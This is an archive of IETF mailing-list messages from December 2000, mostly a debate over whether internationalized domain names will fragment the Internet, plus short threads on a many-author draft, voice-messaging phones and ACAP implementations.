khavrinen.lcs.mit.edu (8.9.3/8.9.3) id VAA45236; Fri, 1 Dec 2000 21:43:41 -0500 (EST) (envelope-from wollman) Date: Fri, 1 Dec 2000 21:43:41 -0500 (EST) From: Garrett Wollman Message-Id: <200012020243.VAA45236@khavrinen.lcs.mit.edu> To: ietf@ietf.org Subject: How many cooks? In-Reply-To: <200012020121.RAA04401@boreas.isi.edu> References: <200012020121.RAA04401@boreas.isi.edu> X-Loop: ietf@ietf.org < said: > Author(s): B. Aboba, P. Calhoun, S. Glass, T. Hiller, > P. McCann, H. Shiino, G. Zorn, G. Dommety, > C. Perkins, B. Patil, D. Mitton, S. Manning, > M. Beadles, P. Walsh, X. Chen, > S. Sivalingham, A. Hameed, M. Munson, S. Jacobs, > B. Lim, B. Hirschman, R. Hsu, Y. Xu, > E. Campbell, S. Baba, E. Jaques Is the IETF now competing with scholarly journals in the race for ``most authors on a single paper''? (No offense intended to the parties listed above, but you'll pardon me if I get a little uncomfortable with the idea of a 29-page document having 26 official authors.) -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-ietf-outbound Sun Dec 3 03:03:03 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA03531 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 03:00:04 -0500 (EST) Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA02197 for ; Sun, 3 Dec 2000 02:55:51 -0500 (EST) Received: (from bovik@localhost) by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id XAA06975; Sat, 2 Dec 2000 23:55:05 -0800 (PST) Date: Sat, 2 Dec 2000 23:55:05 -0800 (PST) From: "James P. Salsman" Message-Id: <200012030755.XAA06975@shell9.ba.best.com> To: ietf@ietf.org Subject: async voice wireless messaging update X-Loop: ietf@ietf.org For the first time, there is now an internet-enabled phone with email and voice recording capability approved for use in the US and Canadian markets: http://www.kyocera.com/News/displaypress.cfm?PressID=95 http://www.kyocera-wireless.com/showroom/showcase/coming_soon_6000.htm http://gullfoss2.fcc.gov/prod/oet/forms/blobs/retrieve.cgi?attachment_id=112798&native_or_pdf=pdf http://spectrum.ic.gc.ca/~cert/rdaily.html This is the closest I've seen the gap yet. All that remains is to ask QUALCOMM to allow recorded voice memos to be attached to outgoing email messages with Eudora for PalmOS. QUALCOMM is headquartered in San Diego. I hope a lot of IETFers have the opportunity to request the feature in person. Maybe this will be made easier by the fact that they are co-hosting the terminal room. Cheers, James From owner-ietf-outbound Sun Dec 3 04:11:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA03531 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 03:00:04 -0500 (EST) Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA02197 for ; Sun, 3 Dec 2000 02:55:51 -0500 (EST) Received: (from bovik@localhost) by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id XAA06975; Sat, 2 Dec 2000 23:55:05 -0800 (PST) Date: Sat, 2 Dec 2000 23:55:05 -0800 (PST) From: "James P. Salsman" Message-Id: <200012030755.XAA06975@shell9.ba.best.com> To: ietf@ietf.org Subject: async voice wireless messaging update X-Loop: ietf@ietf.org For the first time, there is now an internet-enabled phone with email and voice recording capability approved for use in the US and Canadian markets: http://www.kyocera.com/News/displaypress.cfm?PressID=95 http://www.kyocera-wireless.com/showroom/showcase/coming_soon_6000.htm http://gullfoss2.fcc.gov/prod/oet/forms/blobs/retrieve.cgi?attachment_id=112798&native_or_pdf=pdf http://spectrum.ic.gc.ca/~cert/rdaily.html This is the closest I've seen the gap yet. All that remains is to ask QUALCOMM to allow recorded voice memos to be attached to outgoing email messages with Eudora for PalmOS. QUALCOMM is headquartered in San Diego. I hope a lot of IETFers have the opportunity to request the feature in person. Maybe this will be made easier by the fact that they are co-hosting the terminal room. Cheers, James From owner-ietf-outbound Sun Dec 3 12:30:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA29769 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 12:30:03 -0500 (EST) Received: from typhoon.mail.pipex.net (typhoon.mail.pipex.net [158.43.128.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24107 for ; Sun, 3 Dec 2000 12:14:49 -0500 (EST) Received: (qmail 17843 invoked from network); 3 Dec 2000 17:14:46 -0000 Received: from userej42.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (62.188.13.53) by smtp-2.dial.pipex.com with SMTP; 3 Dec 2000 17:14:46 -0000 Message-Id: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> X-Sender: xex41@pop.dial.pipex.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 03 Dec 2000 08:03:12 +0000 To: ietf@ietf.org From: Graham Klyne Subject: Will Language Wars Balkanize the Web? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org There's a news story at: http://www.acm.org/technews/articles/2000-2/1201f.html#item10 under the heading "Will Language Wars Balkanize the Web?" Leaving aside the issues of competing registries, touched upon in that article, I had been wondering with the formation of IDN WG how I18N would affect cross-character-type-boundary Internet activities. I guess one of the first questions should be; "Is some partitioning of the Internet community such a bad thing?". Why should it matter if, say, Chinese-based domains aimed at Chinese audiences are not meaningfully accessible to non-Chinese Internet users? At a purely technological level, the priority ascribed to the end-to-end architecture of the Internet has underpinned and presumed non-discriminatory any-to-any communication. I wonder if this is a reasonable expectation at the social level of Internet use. #g PS: I think it is without doubt that it is a Good Thing that we make efforts to internationalize protocols; my comments/questions are an attempt to explore how far this process can reasonable go. ------------ Graham Klyne (GK@ACM.ORG) From owner-ietf-outbound Sun Dec 3 12:40:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA02567 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 12:40:03 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25709 for ; Sun, 3 Dec 2000 12:18:49 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA29422 for ; Sun, 3 Dec 2000 12:18:50 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A2A807A.B0C025CD@cs.columbia.edu> Date: Sun, 03 Dec 2000 12:18:50 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: ACAP (RFC 2244) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Are there any ACAP implementations out there? If so, in reasonably widespread use? Is this still considered the best blueprint for application configuration, e.g., also as a format for configuration files or in transports other than the ACAP transport? Thanks (including for any 302 responses) -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Sun Dec 3 12:50:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA05773 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 12:50:03 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00938 for ; Sun, 3 Dec 2000 12:33:32 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 142d10-000Ifd-00; Sun, 03 Dec 2000 09:33:30 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Graham Klyne Cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Message-Id: Date: Sun, 03 Dec 2000 09:33:30 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit you may want to look at the work going on in the idn wg. randy From owner-ietf-outbound Sun Dec 3 13:10:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA10628 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 13:10:03 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09792 for ; Sun, 3 Dec 2000 13:06:17 -0500 (EST) From: Masataka Ohta Message-Id: <200012031802.DAA05976@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id DAA05976; Mon, 4 Dec 2000 03:02:44 +0900 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> from Graham Klyne at "Dec 3, 2000 08:03:12 am" To: Graham Klyne Date: Mon, 4 Dec 2000 03:02:43 +0859 () CC: ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Graham; > Leaving aside the issues of competing registries, touched upon in that > article, I had been wondering with the formation of IDN WG how I18N would > affect cross-character-type-boundary Internet activities. Nothing. Cross-character-type-boundary is a pure localization issue and has nothing to do with people wrongly working on I18N. > PS: I think it is without doubt that it is a Good Thing that we make > efforts to internationalize protocols; If only you understand what "internationalize protocols" mean. ASCII (latin, numeric and hypen) characters are the only characters internationally recognizable by so many people. Masataka Ohta From owner-ietf-outbound Sun Dec 3 13:50:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA23806 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 13:50:03 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA23312 for ; Sun, 3 Dec 2000 13:48:30 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Sun, 3 Dec 2000 13:47:53 -0500 Message-Id: <5.0.0.25.2.20001203132956.00a41d90@10.30.15.2> X-Sender: rja@10.30.15.2 X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Sun, 03 Dec 2000 13:40:30 -0500 To: Graham Klyne From: RJ Atkinson Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 03:03 03/12/00, Graham Klyne wrote: >I guess one of the first questions should be; "Is some partitioning of the Internet community such a bad thing?" A partioning based on nationality, which is of course different than language group, would be harmful. Lack of interoperability of standard protocols would be bad, for whatever reason, including incompatible localisations. Lack of standards support for internationalisation/multi-lingual computing, as different from localisation, would also be bad. > Why should it matter if, say, Chinese-based domains aimed >at Chinese audiences are not meaningfully accessible to >non-Chinese Internet users? What about people who can read and perhaps also write in Chinese characters but who are not Chinese (either ROC on Taiwan or PRC on the mainland) nationals ? Consider not only folks in Singapore or SE Asia generally, but also Chinese-capable folks in other places (e.g. North America, Europe). [NB: I'm deliberately ignoring the issues with Traditional vs Simplified characters just now, though that is also part of the internationalisation equation]. I regularly read my news from British or Hong Kong or other countries' web sites. Living in North America, I'm certainly not the target audience for the HK Standard or South China Morning Post. However, I do read those newspapers online. Less regularly, but occasionally, I do read Chinese web sites (in Chinese) or Japanese web sites (reading the Kanji portion only). I am most assuredly NOT the target audience for any of these web sites. On a daily basis, I receive mail with Chinese language contents, though a surprising amount of that turns out to be unsolicted bulk email in my own case. I receive a modest amount of German or Vietnamese email. So multi-lingual protocol capabilities are quite important to me. So for all those reasons, it does in fact matter a great deal. >At a purely technological level, the priority ascribed to the end-to-end architecture of the Internet has underpinned and presumed non-discriminatory any-to-any communication. I wonder if this is a reasonable expectation at the social level of Internet use. I do think so. >PS: I think it is without doubt that it is a Good Thing that we make efforts to internationalize protocols; my comments/questions are an attempt to explore how far this process can reasonable go. I don't want to try to predict the future, so I won't. I can say that today, we are NOT anywhere close to a reasonable end point or stopping point for internationalisation of IETF standards-track protocols. In particular, we haven't resolved the basic internationalisation issues for a number of core infrastructure protocols (e.g. DNS). Regards, Ran rja@inet.org From owner-ietf-outbound Sun Dec 3 14:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA27033 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 14:00:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA25462 for ; Sun, 3 Dec 2000 13:55:05 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.84.142]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id KAA24616; Sun, 3 Dec 2000 10:55:02 -0800 Message-Id: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Sun, 03 Dec 2000 13:57:10 -0500 To: Graham Klyne From: Dave Crocker Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 08:03 AM 12/3/00 +0000, Graham Klyne wrote: >I guess one of the first questions should be; "Is some partitioning of >the Internet community such a bad thing?". Would it be such a bad thing to be unable to make a phone call to anywhere in the world? Would it be such a bad thing to be unable to postal mail a letter or package to anywhere in the world? d/ ps. strictly rhetorical questions, as I hope is obvious. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Sun Dec 3 13:30:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA17529 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 13:30:02 -0500 (EST) Received: from NOD.RESTON.MCI.NET (nod.reston.mci.net [166.60.6.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15738 for ; Sun, 3 Dec 2000 13:25:35 -0500 (EST) Received: from vint.mci.net ([166.60.18.100]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTPA id <01JX9P868OSM9LVN7I@shoe.reston.mci.net> for ietf@ietf.org; Sun, 3 Dec 2000 13:25:33 EST Date: Sun, 03 Dec 2000 13:17:45 -0500 From: vint cerf Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> X-Sender: vcerf@shoe.reston.mci.net To: Graham Klyne , ietf@ietf.org Message-id: <5.0.2.1.2.20001203130428.0266d658@shoe.reston.mci.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Content-Transfer-Encoding: 7BIT X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7BIT In my opinion, it is vital to craft Internet's evolution so as to maintain full connectivity and interworking among all its parts. I do not see "balkanization" as a good thing at all. I believe there are sound technical means to achieve the objective of incorporating character sets associated with non-roman languages but that critics need to understand more fully just how important the limitations of the current character set for domain names have been in maintaining interworking and also ability of so many applications to incorporate and refer to domain names. The IA4 alphabet includes essentially just the letters A-Z, numbers 0-9 and the "-" (dash). This is the limit of what is allowed in domain names today. Incorporating other character sets without deep technical consideration will risk the inestimable value of interworking across the Internet. It CAN be done but there is a great deal of work to make it function properly. Vint At 08:03 AM 12/3/2000 +0000, Graham Klyne wrote: >There's a news story at: > > http://www.acm.org/technews/articles/2000-2/1201f.html#item10 > >under the heading "Will Language Wars Balkanize the Web?" > >Leaving aside the issues of competing registries, touched upon in that article, I had been wondering with the formation of IDN WG how I18N would affect cross-character-type-boundary Internet activities. > >I guess one of the first questions should be; "Is some partitioning of the Internet community such a bad thing?". Why should it matter if, say, Chinese-based domains aimed at Chinese audiences are not meaningfully accessible to non-Chinese Internet users? At a purely technological level, the priority ascribed to the end-to-end architecture of the Internet has underpinned and presumed non-discriminatory any-to-any communication. I wonder if this is a reasonable expectation at the social level of Internet use. > >#g > >PS: I think it is without doubt that it is a Good Thing that we make efforts to internationalize protocols; my comments/questions are an attempt to explore how far this process can reasonable go. > >------------ >Graham Klyne >(GK@ACM.ORG) From owner-ietf-outbound Sun Dec 3 14:50:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA12544 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 14:50:02 -0500 (EST) Received: from mail1.qualcomm.com (mail1.qualcomm.com [129.46.2.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA08286 for ; Sun, 3 Dec 2000 14:34:47 -0500 (EST) Received: from [192.168.1.5] (vpnap-g1-012018.qualcomm.com [10.13.12.18]) by mail1.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id LAA03170; Sun, 3 Dec 2000 11:34:46 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <3A2A807A.B0C025CD@cs.columbia.edu> References: <3A2A807A.B0C025CD@cs.columbia.edu> X-Mailer: QUALCOMM Eudora v5.0 for Macintosh Date: Sun, 3 Dec 2000 11:33:54 -0800 To: "Henning G. Schulzrinne" , ietf@ietf.org From: Randall Gellens Subject: Re: ACAP (RFC 2244) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 12:18 PM -0500 12/3/00, Henning G. Schulzrinne wrote: > Are there any ACAP implementations out there? CMU has a free ACAP server. Stalker Software's Communigate Pro includes an ACAP server. I've heard of other companies developing ACAP servers, but nothing has been announced as far as I know. Several email clients use ACAP to one extent or another. Some browser developers have said they will add support for the bookmarks dataset. > If so, in reasonably widespread use? Use does seem to be expanding, but at a slow rate. > Is this still considered the best blueprint for > application configuration, e.g., also as a format for configuration > files or in transports other than the ACAP transport? It's probably the easiest to use of any available mechanism, and offers a number of advantages (efficient use of bandwidth, easy resynchronization, etc.). In my opinion, it's also a very nice protocol. From owner-ietf-outbound Sun Dec 3 15:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA14813 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 15:00:02 -0500 (EST) Received: from p2.cavebear.com (p2.cavebear.com [199.184.128.35]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10919 for ; Sun, 3 Dec 2000 14:42:31 -0500 (EST) Received: from localhost (karl@localhost) by p2.cavebear.com (8.11.0/8.11.0) with ESMTP id eB3Jg3x00876 for ; Sun, 3 Dec 2000 11:42:03 -0800 Date: Sun, 3 Dec 2000 11:42:02 -0800 (PST) From: Karl Auerbach Reply-To: Karl Auerbach To: IETF Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org > I guess one of the first questions should be; "Is some partitioning of the > Internet community such a bad thing?". Why should it matter if, say, > Chinese-based domains aimed at Chinese audiences are not meaningfully > accessible to non-Chinese Internet users? There's a distinct issue that exists apart from the inter-human aspects - the packets containing these new character forms will flow, at least occasionally, into pretty much everyone's machines, routers, NATs, firewalls, web caches, etc - all of which need to be able to handle these new packets without ill effects. (The definition of "ill effect" will vary depending on what the box is supposed to be doing.) For instance, it would be "a bad thing" if some "transparent" web cache in some ISP went south when it re-resolved a URL that contained a domain name that either had itself a label in some non-hostname character set or was resolved via a CNAME containing non-hostname characters. In other words, although the humans (and their user interfaces) may Balkanize, the infrastructure on which the net operates should not. --karl-- From owner-ietf-outbound Sun Dec 3 15:10:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA17586 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 15:10:05 -0500 (EST) Received: from mail.nbn.net (IDENT:root@nbn.net [207.51.86.15]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11798 for ; Sun, 3 Dec 2000 14:46:39 -0500 (EST) Received: from nbn.net (dial6-24.nbn.net [208.139.70.118]) by mail.nbn.net (8.9.3/8.9.3) with ESMTP id OAA14477 for ; Sun, 3 Dec 2000 14:46:40 -0500 Message-ID: <3A2AA7B1.99277FF2@nbn.net> Date: Sun, 03 Dec 2000 15:06:10 -0500 From: Betsy Brennan X-Mailer: Mozilla 4.5 [en]C-CCK-MCD {NBN} (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit But the Internet is not the postal system nor the phone system. We already have the postal system and the phone system. They may be slower, but does that mean they should be replaced or that the Internet must duplicate what these systems do? BLB Dave Crocker wrote: > At 08:03 AM 12/3/00 +0000, Graham Klyne wrote: > >I guess one of the first questions should be; "Is some partitioning of > >the Internet community such a bad thing?". > > Would it be such a bad thing to be unable to make a phone call to anywhere > in the world? > > Would it be such a bad thing to be unable to postal mail a letter or > package to anywhere in the world? > > d/ > > ps. strictly rhetorical questions, as I hope is obvious. > > =-=-=-=-= > Dave Crocker > Brandenburg Consulting > Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Sun Dec 3 15:40:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA28156 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 15:40:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24163 for ; Sun, 3 Dec 2000 15:29:09 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 142fku-000KDA-00; Sun, 03 Dec 2000 12:29:04 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Betsy Brennan Cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> Message-Id: Date: Sun, 03 Dec 2000 12:29:04 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > But the Internet is not the postal system nor the phone system. We already > have the postal system and the phone system. They may be slower, but does > that mean they should be replaced or that the Internet must duplicate what > these systems do? i am sorry, but i can not understand the above. perhaps you were writing in californian. qed. randy From owner-ietf-outbound Sun Dec 3 15:50:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA00562 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 15:50:02 -0500 (EST) Received: from mail7.wlv.netzero.net (mail7.wlv.netzero.net [209.247.163.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24187 for ; Sun, 3 Dec 2000 15:29:11 -0500 (EST) Received: (qmail 11234 invoked from network); 3 Dec 2000 20:28:42 -0000 Received: from ip41.miami41.fl.pub-ip.psi.net (HELO kimon) (38.37.111.41) by mail7.wlv.netzero.net with SMTP; 3 Dec 2000 20:28:42 -0000 Message-ID: <007901c05d67$e657c3e0$75330a0a@spss.com> From: "Kimon A. Andreou" To: References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> Subject: Re: Will Language Wars Balkanize the Web? Date: Sun, 3 Dec 2000 15:30:37 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit But isn't the Internet a medium of communication as is the Post and the telephone? Therefore, shouldn't it support communication between any two points, wherever they may be or however they're called? Kimon ----- Original Message ----- From: "Betsy Brennan" To: Sent: Sunday, December 03, 2000 15:06 Subject: Re: Will Language Wars Balkanize the Web? > But the Internet is not the postal system nor the phone system. We already > have the postal system and the phone system. They may be slower, but does > that mean they should be replaced or that the Internet must duplicate what > these systems do? BLB > ____________NetZero Free Internet Access and Email_________ Download Now http://www.netzero.net/download/index.html Request a CDROM 1-800-333-3633 ___________________________________________________________ From owner-ietf-outbound Sun Dec 3 16:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA11299 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 16:30:03 -0500 (EST) Received: from mighty.grot.org (mighty.grot.org [216.15.97.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA08695 for ; Sun, 3 Dec 2000 16:20:37 -0500 (EST) Received: by mighty.grot.org (Postfix, from userid 998) id 707D05D43; Sun, 3 Dec 2000 13:20:37 -0800 (PST) Date: Sun, 3 Dec 2000 13:20:37 -0800 From: "R . P . Aditya" To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? Message-ID: <20001203132037.Y33235@mighty.grot.org> Reply-To: lists@LISTS.GROT.ORG References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3A2AA7B1.99277FF2@nbn.net>; from bbrennan@nbn.net on Sun, Dec 03, 2000 at 03:06:10PM -0500 Sender: lists@grot.org X-Loop: ietf@ietf.org As has been noted, the _hard part_ is making the protocol that is used between countries' communications systems "language independent". > > Would it be such a bad thing to be unable to make a phone call to anywhere > > in the world? I have yet to see a telephone dialpad that even has non-arabic base-10 numbers on it (has it slowed the spread and use of the phone system?). > > Would it be such a bad thing to be unable to postal mail a letter or > > package to anywhere in the world? You can't address a letter to someone in Berkeley, USA in nagari or amharic characters and expect it to reach. However you can address a letter to someone in Addis Ababa, Ethiopia in ASCII characters with a poor-phonetic approximation and expect it to reach (choice of locales based on experience). At some point it's not worth the effort to "internationalize" all the layers...will the lucrative returns on additional domains pay for such an effort? and will that make an already "complex" Internet more accessible? Does Babelization without language isomorphism lead to Balkanization? Or, "why is machine translation so hard?". Adi On Sun, Dec 03, 2000 at 03:06:10PM -0500, Betsy Brennan wrote: > But the Internet is not the postal system nor the phone system. We already > have the postal system and the phone system. They may be slower, but does > that mean they should be replaced or that the Internet must duplicate what > these systems do? BLB > > Dave Crocker wrote: > > > At 08:03 AM 12/3/00 +0000, Graham Klyne wrote: > > >I guess one of the first questions should be; "Is some partitioning of > > >the Internet community such a bad thing?". > > > > Would it be such a bad thing to be unable to make a phone call to anywhere > > in the world? > > > > Would it be such a bad thing to be unable to postal mail a letter or > > package to anywhere in the world? > > > > d/ > > > > ps. strictly rhetorical questions, as I hope is obvious. > > > > =-=-=-=-= > > Dave Crocker > > Brandenburg Consulting > > Tel: +1.408.246.8253, Fax: +1.408.273.6464 > From owner-ietf-outbound Sun Dec 3 17:00:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA20125 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 17:00:04 -0500 (EST) Received: from mail8.wlv.netzero.net (mail8.wlv.netzero.net [209.247.163.58]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA18609 for ; Sun, 3 Dec 2000 16:55:20 -0500 (EST) Received: (qmail 14817 invoked from network); 3 Dec 2000 21:54:52 -0000 Received: from ipb33.miami15.fl.pub-ip.psi.net (HELO kimon) (38.30.142.33) by mail8.wlv.netzero.net with SMTP; 3 Dec 2000 21:54:52 -0000 Message-ID: <00fa01c05d73$ee9c0b40$75330a0a@spss.com> From: "Kimon A. Andreou" To: References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <3A2AA7B1.99277FF2@nbn.net> <20001203132037.Y33235@mighty.grot.org> Subject: Re: Will Language Wars Balkanize the Web? Date: Sun, 3 Dec 2000 16:56:38 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "R . P . Aditya" To: Sent: Sunday, December 03, 2000 16:20 Subject: Re: Will Language Wars Balkanize the Web? > You can't address a letter to someone in Berkeley, USA in nagari or amharic > characters and expect it to reach. However you can address a letter to someone > in Addis Ababa, Ethiopia in ASCII characters with a poor-phonetic > approximation and expect it to reach (choice of locales based on experience). > > > Adi But don't packets get routed using IP addresses (i.e. numbers) ? Kimon _______________________________________________ Why pay for something you could get for free? NetZero provides FREE Internet Access and Email http://www.netzero.net/download/index.html From owner-ietf-outbound Sun Dec 3 17:20:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26496 for ietf-outbound.10@ietf.org; Sun, 3 Dec 2000 17:20:02 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org 